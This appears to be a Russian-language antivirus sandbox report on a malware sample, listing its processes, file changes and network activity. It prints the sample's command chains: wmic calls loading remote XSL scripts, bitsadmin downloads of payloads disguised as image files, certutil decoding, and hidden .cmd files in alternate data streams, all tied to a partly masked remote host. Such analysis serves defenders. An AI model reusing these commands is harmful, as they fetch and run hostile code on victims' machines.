Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\wbem\wmic.exe' os get gieet9988, ddaaWWU, LargeSystemCache /format:"http://14#.##.###.35.bc.googleusercontent.com/08/v.xsl#025077bbvrh24j2"
- '<SYSTEM32>\wbem\wmic.exe' os get KICPCWSU, SDLNBVVK, JFAHRSCC, numberofusers /format:"http://14#.##.###.35.bc.googleusercontent.com/08/vv.xsl#580112"
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtza.jpg.zip.log?61####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtzb.jpg.zip.log?77####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtzc.jpg.zip.log?35####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ilkqnnc.jpg:xmvvbvv.cmd
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
- %TEMP%\sxsbeb3.tmp
- %TEMP%\jluqsfyq.jpg:init.cmd
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
- %TEMP%\sxsd42f.tmp
- C:\users\public\libraries\win32\bite3bf.tmp
- C:\users\public\libraries\win32\halawxtza.jpg
- C:\users\public\libraries\win32\bitfb5f.tmp
- C:\users\public\libraries\win32\halawxtzb.jpg
Присваивает атрибут 'скрытый' для следующих файлов
- C:\users\public\libraries\win32\bite3bf.tmp
- C:\users\public\libraries\win32\bitfb5f.tmp
Перемещает следующие файлы
- C:\users\public\libraries\win32\bite3bf.tmp в C:\users\public\libraries\win32\halawxtza.jpg.z
- C:\users\public\libraries\win32\bitfb5f.tmp в C:\users\public\libraries\win32\halawxtzb.jpg.z
Сетевая активность
TCP
Запросы HTTP GET
- http://14#.##.###.35.bc.googleusercontent.com/08/v.xsl
- http://14#.##.###.35.bc.googleusercontent.com/08/vv.xsl
- http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtza.jpg.zip.log?61#######
- http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtzb.jpg.zip.log?77#######
UDP
- DNS ASK 14#.##.###.35.bc.googleusercontent.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^KICPCWSU, ^SDLNBVVK, ^JFAHRSCC, ^numberofusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/08/vv.xsl#580112" > %TMP%\JLUQSFYQ.jpg:init.cmd && %ComSpec% - < %...' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtza.jpg.zip.log?61####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtzb.jpg.zip.log?77####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/08/halawxtzc.jpg.zip.log?35####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' -
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^KICPCWSU, ^SDLNBVVK, ^JFAHRSCC, ^numberofusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/08/vv.xsl#580112" > %TMP%\JLUQSFYQ.jpg:init.cmd && %ComSpec% - < %...
